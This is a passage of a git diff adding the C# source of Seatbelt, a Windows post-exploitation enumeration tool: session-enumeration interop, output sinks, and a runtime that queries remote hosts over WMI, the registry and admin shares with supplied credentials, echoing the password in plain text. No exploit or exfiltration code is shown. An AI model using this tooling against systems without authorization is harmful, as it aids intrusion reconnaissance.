--- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Wtsapi32.cs @@ -0,0 +1,175 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class Wtsapi32 + { + [DllImport("wtsapi32.dll", SetLastError = true)] + public static extern IntPtr WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] string pServerName); + + [DllImport("wtsapi32.dll")] + public static extern void WTSCloseServer(IntPtr hServer); + + [DllImport("wtsapi32.dll", SetLastError = true)] + public static extern bool WTSEnumerateSessionsEx( + IntPtr hServer, + [MarshalAs(UnmanagedType.U4)] ref int pLevel, + [MarshalAs(UnmanagedType.U4)] int Filter, + ref IntPtr ppSessionInfo, + [MarshalAs(UnmanagedType.U4)] ref int pCount); + + [DllImport("wtsapi32.dll")] + public static extern void WTSFreeMemory(IntPtr pMemory); + + [DllImport("Wtsapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool WTSQuerySessionInformation( + IntPtr hServer, + uint sessionId, + WTS_INFO_CLASS wtsInfoClass, + out IntPtr ppBuffer, + out uint pBytesReturned + ); + + [StructLayout(LayoutKind.Sequential)] + public struct WTS_SESSION_INFO + { + public int SessionID; + + [MarshalAs(UnmanagedType.LPStr)] + public string pWinStationName; + + public WTS_CONNECTSTATE_CLASS State; + } + + [StructLayout(LayoutKind.Sequential)] + public struct WTS_SESSION_INFO_1 + { + public uint ExecEnvId; + + public WTS_CONNECTSTATE_CLASS State; + + public uint SessionID; + + [MarshalAs(UnmanagedType.LPStr)] + public string pSessionName; + + [MarshalAs(UnmanagedType.LPStr)] + public string pHostName; + + [MarshalAs(UnmanagedType.LPStr)] + public string pUserName; + + [MarshalAs(UnmanagedType.LPStr)] + public string pDomainName; + + [MarshalAs(UnmanagedType.LPStr)] + public string pFarmName; + } + + + public enum ADDRESS_FAMILY + { + AF_UNSPEC, + AF_INET = 2, + AF_IPX = 6, + AF_NETBIOS = 17, + AF_INET6 = 23, + } + + [StructLayout(LayoutKind.Sequential)] + public struct WTS_CLIENT_ADDRESS + { + public ADDRESS_FAMILY AddressFamily; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 20)] + public byte[] Address; + } + + public enum WTS_CONNECTSTATE_CLASS + { + Active, + Connected, + ConnectQuery, + Shadow, + Disconnected, + Idle, + Listen, + Reset, + Down, + Init + } + + public enum WTS_INFO_CLASS + { + WTSInitialProgram = 0, + WTSApplicationName = 1, + WTSWorkingDirectory = 2, + WTSOEMId = 3, + WTSSessionId = 4, + WTSUserName = 5, + WTSWinStationName = 6, + WTSDomainName = 7, + WTSConnectState = 8, + WTSClientBuildNumber = 9, + WTSClientName = 10, + WTSClientDirectory = 11, + WTSClientProductId = 12, + WTSClientHardwareId = 13, + WTSClientAddress = 14, + WTSClientDisplay = 15, + WTSClientProtocolType = 16, + WTSIdleTime = 17, + WTSLogonTime = 18, + WTSIncomingBytes = 19, + WTSOutgoingBytes = 20, + WTSIncomingFrames = 21, + WTSOutgoingFrames = 22, + WTSClientInfo = 23, + WTSSessionInfo = 24, + WTSSessionInfoEx = 25, + WTSConfigInfo = 26, + WTSValidationInfo = 27, + WTSSessionAddressV4 = 28, + WTSIsRemoteSession = 29 + } + + [StructLayout(LayoutKind.Sequential)] + public struct WTS_CLIENT_DISPLAY + { + public int HorizontalResolution; + public int VerticalResolution; + public int ColorDepth; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct WTSINFO + { + public WTS_CONNECTSTATE_CLASS State; + public int SessionId; + public int IncomingBytes; + public int OutgoingBytes; + public int IncomingFrames; + public int OutgoingFrames; + public int IncomingCompressedBytes; + public int OutgoingCompressedBytes; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] + public string WinStationName; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 17)] + public string Domain; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 21)] + public string UserName; + [MarshalAs(UnmanagedType.I8)] + public long ConnectTime; + [MarshalAs(UnmanagedType.I8)] + public long DisconnectTime; + [MarshalAs(UnmanagedType.I8)] + public long LastInputTime; + [MarshalAs(UnmanagedType.I8)] + public long LogonTime; + [MarshalAs(UnmanagedType.I8)] + public long CurrentTime; + } + } +} + diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/DefaultTextFormatter.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/DefaultTextFormatter.cs new file mode 100644 index 0000000..c155272 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/DefaultTextFormatter.cs @@ -0,0 +1,48 @@ +using Seatbelt.Commands; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Output.Formatters +{ + // If a command doesn't customize its output text, then this will be called + internal class DefaultTextFormatter : TextFormatterBase + { + public DefaultTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + if (result == null) + { + return; + } + + var type = result.GetType(); + + foreach (var p in type.GetProperties()) + { + if (p.PropertyType.IsArray) + { + var value = (object[])p.GetValue(result, null); + Write($" {p.Name,-30} : "); + for (var i = 0; i < value.Length; i++) + { + Write(value[i].ToString()); + if (value.Length-1 != i) + { + Write(", "); + } + } + WriteLine(); + } + else + { + var value = p.GetValue(result, null); + WriteLine(" {0,-30} : {1}", p.Name, value); + } + } + + WriteLine(); + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/TextFormatterBase.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/TextFormatterBase.cs new file mode 100644 index 0000000..eb77f20 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Formatters/TextFormatterBase.cs @@ -0,0 +1,24 @@ +using Seatbelt.Commands; +using Seatbelt.Output.TextWriters; + +// Individual commands can impelement this this class if they want to format textual output in a certain way +namespace Seatbelt.Output.Formatters +{ + internal abstract class TextFormatterBase + { + private readonly ITextWriter _textWriter; + + protected TextFormatterBase(ITextWriter sink) + { + _textWriter = sink; + } + + // Children implement this method to customize the command's string output + public abstract void FormatResult(CommandBase? command, CommandDTOBase results, bool filterResults); + + protected void Write(string str) => _textWriter.Write(str); + protected void WriteLine() => _textWriter.WriteLine(); + protected void WriteLine(string str) => _textWriter.WriteLine(str); + protected void WriteLine(string format, params object?[] args) => _textWriter.WriteLine(format, args); + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/IOutputSink.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/IOutputSink.cs new file mode 100644 index 0000000..a863cda --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/IOutputSink.cs @@ -0,0 +1,15 @@ +using System; +using Seatbelt.Commands; + +namespace Seatbelt.Output.Sinks +{ + internal interface IOutputSink : IDisposable + { + void WriteOutput(CommandDTOBase dto); + void WriteHost(string message); + void WriteVerbose(string message); + void WriteWarning(string message); + void WriteError(string message); + string GetOutput(); + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonFileOutputSink.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonFileOutputSink.cs new file mode 100644 index 0000000..0a01560 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonFileOutputSink.cs @@ -0,0 +1,77 @@ +using System; +using System.IO; +using System.Web.Script.Serialization; +using Seatbelt.Commands; + +namespace Seatbelt.Output.Sinks +{ + // Any sinks that output text to a location should inherit from this class + internal class JsonFileOutputSink : IOutputSink + { + private StreamWriter _stream; + private JavaScriptSerializer _json = new JavaScriptSerializer(); + + public JsonFileOutputSink(string file, bool filterResults) + { + if (File.Exists(file)) + { + File.Delete(file); + } + + _stream = File.CreateText(file); + _stream.AutoFlush = true; + } + + public void WriteOutput(CommandDTOBase dto) + { + //var obj = dtoCollection?.FirstOrDefault(); + if (dto == null) + { + return; + } + + // If the dto has a custom output sink, use it. Otherwise, use the default output sink + var dtoType = dto.GetType(); + + var obj = new + { + Type = dtoType.ToString(), + Data = dto + }; + + string jsonStr; + try + { + jsonStr = _json.Serialize(obj); + } + catch(Exception e) + { + jsonStr = _json.Serialize(new + { + Type = typeof(ErrorDTO).ToString(), + Data = _json.Serialize(new ErrorDTO(e.ToString())) + }); + } + + _stream.WriteLine(jsonStr); + } + + public void WriteVerbose(string message) => WriteOutput(new VerboseDTO(message)); + + public void WriteWarning(string message) => WriteOutput(new WarningDTO(message)); + + public void WriteError(string message) => WriteOutput(new ErrorDTO(message)); + + public void WriteHost(string message) => WriteOutput(new HostDTO(message)); + + public string GetOutput() + { + return ""; + } + + public void Dispose() + { + _stream.Dispose(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonStringOutputSink.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonStringOutputSink.cs new file mode 100644 index 0000000..56b4834 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/JsonStringOutputSink.cs @@ -0,0 +1,81 @@ +using System; +using System.IO; +using System.Web.Script.Serialization; +using Seatbelt.Commands; + +namespace Seatbelt.Output.Sinks +{ + // Any sinks that output text to a location should inherit from this class + internal class JsonStringOutputSink : IOutputSink + { + private StreamWriter _streamWriter; + private MemoryStream _stream; + private JavaScriptSerializer _json = new JavaScriptSerializer(); + + public JsonStringOutputSink(string file, bool filterResults) + { + _stream = new MemoryStream(); + _streamWriter = new StreamWriter(_stream); + _streamWriter.AutoFlush = true; + } + + public void WriteOutput(CommandDTOBase dto) + { + //var obj = dtoCollection?.FirstOrDefault(); + if (dto == null) + { + return; + } + + // If the dto has a custom output sink, use it. Otherwise, use the default output sink + var dtoType = dto.GetType(); + if (dtoType == typeof(HostDTO)) return; + + var obj = new + { + Type = dtoType.ToString(), + CommandVersion = dto.GetCommandVersion(), + Data = dto + }; + + string jsonStr; + try + { + jsonStr = _json.Serialize(obj); + } + catch(Exception e) + { + jsonStr = _json.Serialize(new + { + Type = typeof(ErrorDTO).ToString(), + Data = _json.Serialize(new ErrorDTO(e.ToString())) + }); + } + + _streamWriter.WriteLine(jsonStr); + } + + public void WriteVerbose(string message) => WriteOutput(new VerboseDTO(message)); + + public void WriteWarning(string message) => WriteOutput(new WarningDTO(message)); + + public void WriteError(string message) => WriteOutput(new ErrorDTO(message)); + + public void WriteHost(string message) => WriteOutput(new HostDTO(message)); + + public string GetOutput() + { + _stream.Flush(); + _streamWriter.Flush(); + _stream.Position = 0; + StreamReader sr = new StreamReader(_stream); + return sr.ReadToEnd(); + } + + public void Dispose() + { + _streamWriter.Dispose(); + _stream.Dispose(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/TextOutputSink.cs b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/TextOutputSink.cs new file mode 100644 index 0000000..bfa96b2 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/Sinks/TextOutputSink.cs @@ -0,0 +1,100 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using Seatbelt.Commands; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Output.Sinks +{ + // Any sinks that output text to a location should inherit from this class + internal class TextOutputSink : IOutputSink + { + private readonly Dictionary _customSinks = new Dictionary(); + private readonly TextFormatterBase _defaultTextSink; + + private readonly ITextWriter _textWriter; + private readonly bool _filterResults; + + public TextOutputSink(ITextWriter writer, bool filterResults) + { + _textWriter = writer; + _filterResults = filterResults; + + // If a command doesn't customize its output, the default text outputter will be used + _defaultTextSink = new DefaultTextFormatter(_textWriter); + InitializeCustomTextFormatters(); + } + + private static Assembly MyAssemblyResolveEventHandler(object sender, ResolveEventArgs args) + { + return System.Reflection.Assembly.GetExecutingAssembly(); + } + + private void InitializeCustomTextFormatters() + { + var currentAssembly = Assembly.GetExecutingAssembly(); + + AppDomain currentDomain = AppDomain.CurrentDomain; + currentDomain.AssemblyResolve += new ResolveEventHandler(MyAssemblyResolveEventHandler); + + foreach (var formatter in currentAssembly.GetTypes().Where(t => typeof(TextFormatterBase).IsAssignableFrom(t))) + { + var attributes = Attribute.GetCustomAttributes(formatter); + + foreach (var t in attributes) + { + if (!(t is CommandOutputTypeAttribute)) continue; + + var outputTypeAttr = (CommandOutputTypeAttribute) t; + + if (_customSinks.ContainsKey(outputTypeAttr.Type)) + { + throw new Exception($"Custom sink {outputTypeAttr.Type} already assigned to {_customSinks[outputTypeAttr.Type]}. Could not associate DTO with the another formatter({formatter})"); + } + + _customSinks.Add(outputTypeAttr.Type, (TextFormatterBase)Activator.CreateInstance(formatter, new object[] { _textWriter })); + break; + } + } + + } + + public void WriteOutput(CommandDTOBase dto) + { + //var obj = dtoCollection?.FirstOrDefault(); + if (dto == null) + { + return; + } + + // If the dto has a custom output sink, use it. Otherwise, use the default output sink + var dtoType = dto.GetType(); + if (_customSinks.ContainsKey(dtoType)) + { + _customSinks[dtoType].FormatResult(null, dto, _filterResults); + } + else + { + _defaultTextSink.FormatResult(null, dto, _filterResults); + } + } + + public void WriteVerbose(string message) => WriteOutput(new VerboseDTO(message)); + + public void WriteWarning(string message) => WriteOutput(new WarningDTO(message)); + + public void WriteError(string message) => WriteOutput(new ErrorDTO(message)); + + public void WriteHost(string message) => WriteOutput(new HostDTO(message)); + public string GetOutput() + { + return ""; + } + public void Dispose() + { + _textWriter.Dispose(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ConsoleTextWriter.cs b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ConsoleTextWriter.cs new file mode 100644 index 0000000..d6d5dab --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ConsoleTextWriter.cs @@ -0,0 +1,22 @@ +using System; + +namespace Seatbelt.Output.TextWriters +{ + internal class ConsoleTextWriter : ITextWriter + { + public void Write(string str) + => Console.Write(str); + + public void WriteLine() + => Console.WriteLine(); + + public void WriteLine(string str) + => Console.WriteLine(str); + + public void WriteLine(string format, params object?[] args) => Console.WriteLine(format, args); + + public void Dispose() + { + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/FileTextWriter.cs b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/FileTextWriter.cs new file mode 100644 index 0000000..8fd3565 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/FileTextWriter.cs @@ -0,0 +1,40 @@ +using System; +using System.IO; + +namespace Seatbelt.Output.TextWriters +{ + internal class FileTextWriter : ITextWriter + { + private readonly StreamWriter _stream; + + public FileTextWriter(string fileName) + { + if (File.Exists(fileName)) + { + File.Delete(fileName); + } + + _stream = File.CreateText(fileName); + _stream.AutoFlush = true; + } + + + + public void Write(string str) + => _stream.Write(str); + + public void WriteLine() + => _stream.WriteLine(); + + public void WriteLine(string str) + => _stream.WriteLine(str); + + public void WriteLine(string format, params object?[] args) + => _stream.WriteLine(format, args); + + public void Dispose() + { + _stream.Dispose(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ITextWriter.cs b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ITextWriter.cs new file mode 100644 index 0000000..56202cd --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Output/TextWriters/ITextWriter.cs @@ -0,0 +1,12 @@ +using System; + +namespace Seatbelt.Output.TextWriters +{ + internal interface ITextWriter : IDisposable + { + void Write(string str); + void WriteLine(); + void WriteLine(string str); + void WriteLine(string format, params object?[] args); + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Program.cs b/post_exploitation/Seatbelt/Seatbelt/Program.cs new file mode 100755 index 0000000..e119111 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Program.cs @@ -0,0 +1,20 @@ +using System; + +namespace Seatbelt +{ + public static class Program + { + private static void Main(string[] args) + { + try + { + using var sb = (new Seatbelt(args)); + sb.Start(); + } + catch (Exception e) + { + Console.WriteLine($"Unhandled terminating exception: {e}"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Properties/AssemblyInfo.cs b/post_exploitation/Seatbelt/Seatbelt/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..151328c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Seatbelt")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Seatbelt")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("aec32155-d589-4150-8fe7-2900df4554c8")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/post_exploitation/Seatbelt/Seatbelt/Runtime.cs b/post_exploitation/Seatbelt/Seatbelt/Runtime.cs new file mode 100644 index 0000000..673c1b5 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Runtime.cs @@ -0,0 +1,397 @@ +#nullable disable +using Seatbelt.Commands; +using Seatbelt.Interop; +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using Seatbelt.Output.Sinks; +using System.Management; +using Microsoft.Win32; +using System.Diagnostics.Eventing.Reader; + +namespace Seatbelt +{ + internal class Runtime + { + public List AllCommands { get; private set; } = new List(); + public readonly IOutputSink OutputSink; + private IEnumerable Commands { get; set; } + private IEnumerable CommandGroups { get; set; } + public bool FilterResults { get; } + public string ComputerName { get; } // for remote connections + private string UserName { get; } // for remote connections + private string Password { get; } // for remote connections + private ManagementClass wmiRegProv { get; } + + public Runtime(IOutputSink outputSink, IEnumerable commands, IEnumerable commandGroups, bool filter) + : this(outputSink, commands, commandGroups, filter, "", "", "") + { + } + + public Runtime(IOutputSink outputSink, IEnumerable commands, IEnumerable commandGroups, bool filter, string computerName) + : this(outputSink, commands, commandGroups, filter, computerName, "", "") + { + } + + public Runtime(IOutputSink outputSink, IEnumerable commands, IEnumerable commandGroups, bool filter, string computerName, string userName, string password) + { + OutputSink = outputSink; + Commands = commands; + CommandGroups = commandGroups; + FilterResults = filter; + ComputerName = computerName; + UserName = userName; + Password = password; + + // test a remote connection first if a remote system is specified + if (!string.IsNullOrEmpty(computerName)) + { + try + { + if (!string.IsNullOrEmpty(userName) && !string.IsNullOrEmpty(password)) + { + OutputSink.WriteHost($"[*] Running commands remotely against the host '{computerName}' with credentials -> user:{UserName} , password:{Password}\r\n"); + + var options = new ConnectionOptions(); + options.Username = UserName; + options.Password = Password; + options.Impersonation = ImpersonationLevel.Impersonate; + options.EnablePrivileges = true; + + var scope = new ManagementScope($"\\\\{computerName}\\root\\cimv2", options); + scope.Connect(); + } + else + { + OutputSink.WriteHost($"[*] Running commands remotely against the host '{computerName}' with current user credentials\r\n"); + + var scope = new ManagementScope($"\\\\{computerName}\\root\\cimv2"); + scope.Connect(); + } + InitializeCommands(); + } + catch (Exception e) + { + OutputSink.WriteError($"Error connecting to \"{computerName}\" : {e.Message}"); + throw e; + } + + wmiRegProv = WMIUtil.WMIRegConnection(computerName, userName, password); + } + else + { + InitializeCommands(); + } + } + + public ManagementObjectSearcher GetManagementObjectSearcher(string nameSpace, string query) + { + + // helper that takes the current configuration for a remote management and builds the proper ManagementObjectSearcher object + // used for WMI searching + + if (string.IsNullOrEmpty(ComputerName)) + return new ManagementObjectSearcher(nameSpace, query); + + try + { + if (!string.IsNullOrEmpty(UserName) && !string.IsNullOrEmpty(Password)) + { + var options = new ConnectionOptions + { + Username = UserName, + Password = Password, + Impersonation = ImpersonationLevel.Impersonate, + EnablePrivileges = true + }; + + var scope = new ManagementScope($"\\\\{ComputerName}\\{nameSpace}", options); + scope.Connect(); + var queryObj = new ObjectQuery(query); + return new ManagementObjectSearcher(scope, queryObj); + } + else + { + var scope = new ManagementScope($"\\\\{ComputerName}\\{nameSpace}"); + scope.Connect(); + var queryObj = new ObjectQuery(query); + return new ManagementObjectSearcher(scope, queryObj); + } + } + catch (Exception e) + { + throw new Exception($"Error connecting to \"{ComputerName}\" : {e.Message}"); + } + } + + public string[]? GetSubkeyNames(RegistryHive hive, string path) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetSubkeyNames(hive, path, wmiRegProv); + } + + return RegistryUtil.GetSubkeyNames(hive, path); + } + + public string? GetStringValue(RegistryHive hive, string path, string value) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetStringValue(hive, path, value, wmiRegProv); + } + + return RegistryUtil.GetStringValue(hive, path, value); + } + + public uint? GetDwordValue(RegistryHive hive, string path, string value) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetDwordValue(hive, path, value, wmiRegProv); + } + + return RegistryUtil.GetDwordValue(hive, path, value); + } + + + public byte[]? GetBinaryValue(RegistryHive hive, string path, string value) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetBinaryValue(hive, path, value, wmiRegProv); + } + + return RegistryUtil.GetBinaryValue(hive, path, value); + } + + public Dictionary GetValues(RegistryHive hive, string path) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetValues(hive, path, wmiRegProv); + } + + return RegistryUtil.GetValues(hive, path); + } + + public string[] GetUserSIDs() + { + if (!string.IsNullOrEmpty(ComputerName)) + { + return RegistryUtil.GetUserSIDs(wmiRegProv); + } + + return RegistryUtil.GetUserSIDs(); + } + + public string[] GetDirectories(string relPath) + { + relPath = relPath.Trim('\\'); + + if (!string.IsNullOrEmpty(ComputerName)) + { + return System.IO.Directory.GetDirectories($"\\\\{ComputerName}\\C$\\{relPath}\\"); + } + else + { + return System.IO.Directory.GetDirectories($"{Environment.GetEnvironmentVariable("SystemDrive")}\\{relPath}\\"); + } + } + public EventLogReader GetEventLogReader(string path, string query) + { + // TODO: investigate https://docs.microsoft.com/en-us/previous-versions/windows/desktop/eventlogprov/win32-ntlogevent + + var eventsQuery = new EventLogQuery(path, PathType.LogName, query) { ReverseDirection = true }; + + if (!string.IsNullOrEmpty(ComputerName)) + { + //EventLogSession session = new EventLogSession( + // ComputerName, + // "Domain", // Domain + // "Username", // Username + // pw, + // SessionAuthentication.Default); // TODO password specification! https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.eventing.reader.eventlogsession.-ctor?view=dotnet-plat-ext-3.1#System_Diagnostics_Eventing_Reader_EventLogSession__ctor_System_String_System_String_System_String_System_Security_SecureString_System_Diagnostics_Eventing_Reader_SessionAuthentication_ + + var session = new EventLogSession(ComputerName); + eventsQuery.Session = session; + } + + var logReader = new EventLogReader(eventsQuery); + return logReader; + } + + public string GetEnvironmentVariable(string variableName) + { + if (!string.IsNullOrEmpty(ComputerName)) + { + var result = ""; + + var wmiData = this.GetManagementObjectSearcher(@"root\cimv2", $"SELECT VariableValue from win32_environment WHERE name='{variableName}' AND UserName=''"); + + foreach (var wmiResult in wmiData.Get()) + { + result = wmiResult["VariableValue"].ToString(); + } + + return result; + } + else + { + return Environment.GetEnvironmentVariable(variableName); + } + } + + + public bool ISRemote() + { + return !string.IsNullOrEmpty(ComputerName); + } + + private void InitializeCommands() + { + foreach (var type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (!type.IsSubclassOf(typeof(CommandBase)) || type.IsAbstract) + { + continue; + } + + var instance = (CommandBase)Activator.CreateInstance(type, new object[] { this }); + +#if DEBUG + if (instance.Command != "TEMPLATE") + { + AllCommands.Add(instance); + } +#else + AllCommands.Add(instance); +#endif + } + + AllCommands = AllCommands.OrderBy(c => c.Command).ToList(); + } + + + public void Execute() + { + foreach (var group in CommandGroups) + { + if (!ProcessGroup(group)) + { + OutputSink.WriteError($"Invalid command group \"{group}\""); + } + } + + foreach (var command in Commands) + { + try + { + if (!ProcessCommand(command)) + { + OutputSink.WriteError($"Error running command \"{command}\""); + } + } + catch (Exception e) + { + OutputSink.WriteError($"Error running {command}: {e}"); + + } + } + } + + + private bool ProcessGroup(string command) + { + var commandGroupStrings = Enum.GetNames(typeof(CommandGroup)).ToList().Select(g=> g.ToLower()); + + if (!commandGroupStrings.Contains(command.ToLower())) + return false; + + List toExecute; + + switch (command.ToLower()) + { + case "all": + toExecute = AllCommands.ToList(); + break; + + default: + CommandGroup commandGroup; + try + { + var groupName = Enum.GetNames(typeof(CommandGroup)).FirstOrDefault(c => c.ToLower() == command.ToLower()); + commandGroup = (CommandGroup)Enum.Parse(typeof(CommandGroup), groupName); + } + catch (ArgumentException) + { + return false; + } + + toExecute = AllCommands.Where(g => g.Group.Contains(commandGroup)).ToList(); + break; + } + + toExecute.ForEach(c => + { + ExecuteCommand(c, new string[] { }); + }); + + return true; + } + + + private bool ProcessCommand(string commandLine) + { + var args = Shell32.CommandLineToArgs(commandLine); + + var commandName = args[0]; + var command = AllCommands.FirstOrDefault(c => c.Command.Equals(commandName, StringComparison.InvariantCultureIgnoreCase)); + + if (command == null) + { + return false; + } + + var commandArgs = new string[] { }; + if (args.Length > 1) + { + commandArgs = args.SubArray(1, args.Length - 1); + } + + ExecuteCommand(command, commandArgs); + + return true; + } + + + private void ExecuteCommand(CommandBase? command, string[] commandArgs) + { + try + { + OutputSink.WriteOutput(new HostDTO($"====== {command.Command} ======\n")); + var results = command.Execute(commandArgs); + if (results != null) + { + // OutputSink.BeginOutput(); + foreach (var result in results) + { + // pass the command version from the command module to the DTO + result.SetCommandVersion(command.CommandVersion); + + OutputSink.WriteOutput(result); + } + // OutputSink.EndOutput(); + } + } + catch (Exception e) + { + // TODO: Return an error DTO + OutputSink.WriteError($" [!] Terminating exception running command '{command.Command}': " + e); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Seatbelt.cs b/post_exploitation/Seatbelt/Seatbelt/Seatbelt.cs new file mode 100644 index 0000000..9e7fd9c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Seatbelt.cs @@ -0,0 +1,179 @@ +using Seatbelt.Commands; +using Seatbelt.Output.Sinks; +using Seatbelt.Output.TextWriters; +using System; +using System.Linq; +using System.Text; + +namespace Seatbelt +{ + public class Seatbelt : IDisposable + { + public bool FilterResults { get; } + + private readonly IOutputSink _outputSink; + private readonly Runtime _runtime; + private const string Version = "1.1.1"; + private SeatbeltOptions Options { get; set; } + + public Seatbelt(string[] args) + { + Options = (new SeatbeltArgumentParser(args)).Parse(); + + _outputSink = OutputSinkFromArgs(Options.OutputFile); + + _runtime = new Runtime( + _outputSink, + Options.Commands, + Options.CommandGroups, + Options.FilterResults, + Options.ComputerName, + Options.UserName, + Options.Password + ); + } + + public string GetOutput() + { + return _outputSink.GetOutput(); + } + + private IOutputSink OutputSinkFromArgs(string? outputFileArg) + { + if (outputFileArg == null) + return new TextOutputSink(new ConsoleTextWriter(), FilterResults); + + if (outputFileArg == string.Empty) + throw new Exception("Invalid filename"); + + + if (outputFileArg.EndsWith(".json")) + { + return new JsonFileOutputSink(outputFileArg, FilterResults); + } + + if (outputFileArg == "jsonstring") + { + return new JsonStringOutputSink(outputFileArg, FilterResults); + } + + return new TextOutputSink(new FileTextWriter(outputFileArg), FilterResults); + } + + public void Start() + { + var watch = System.Diagnostics.Stopwatch.StartNew(); + + if (!Options.Commands.Any() && !Options.CommandGroups.Any()) + { + PrintLogo(); + Usage(); + return; + } + + if (!Options.QuietMode) + PrintLogo(); + + _runtime.Execute(); + + watch.Stop(); + + if (!Options.QuietMode) + { + _outputSink.WriteVerbose($"\n\n[*] Completed collection in {(watch.ElapsedMilliseconds / 1000.0)} seconds\n"); + } + } + + public void PrintLogo() + { + _outputSink.WriteHost("\n\n %&&@@@&& "); + _outputSink.WriteHost(" &&&&&&&%%%, #&&@@@@@@%%%%%%###############% "); + _outputSink.WriteHost(" &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%"); + _outputSink.WriteHost("%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((("); + _outputSink.WriteHost("#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((("); + _outputSink.WriteHost("#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((("); + _outputSink.WriteHost("#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((("); + _outputSink.WriteHost("#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####"); + _outputSink.WriteHost("###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####"); + _outputSink.WriteHost("#####%###################### %%%.. @////(((&%%%%%%%################ "); + _outputSink.WriteHost(" &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* "); + _outputSink.WriteHost($" &%%&&&%%%%% v{Version} ,(((&%%%%%%%%%%%%%%%%%, "); + _outputSink.WriteHost(" 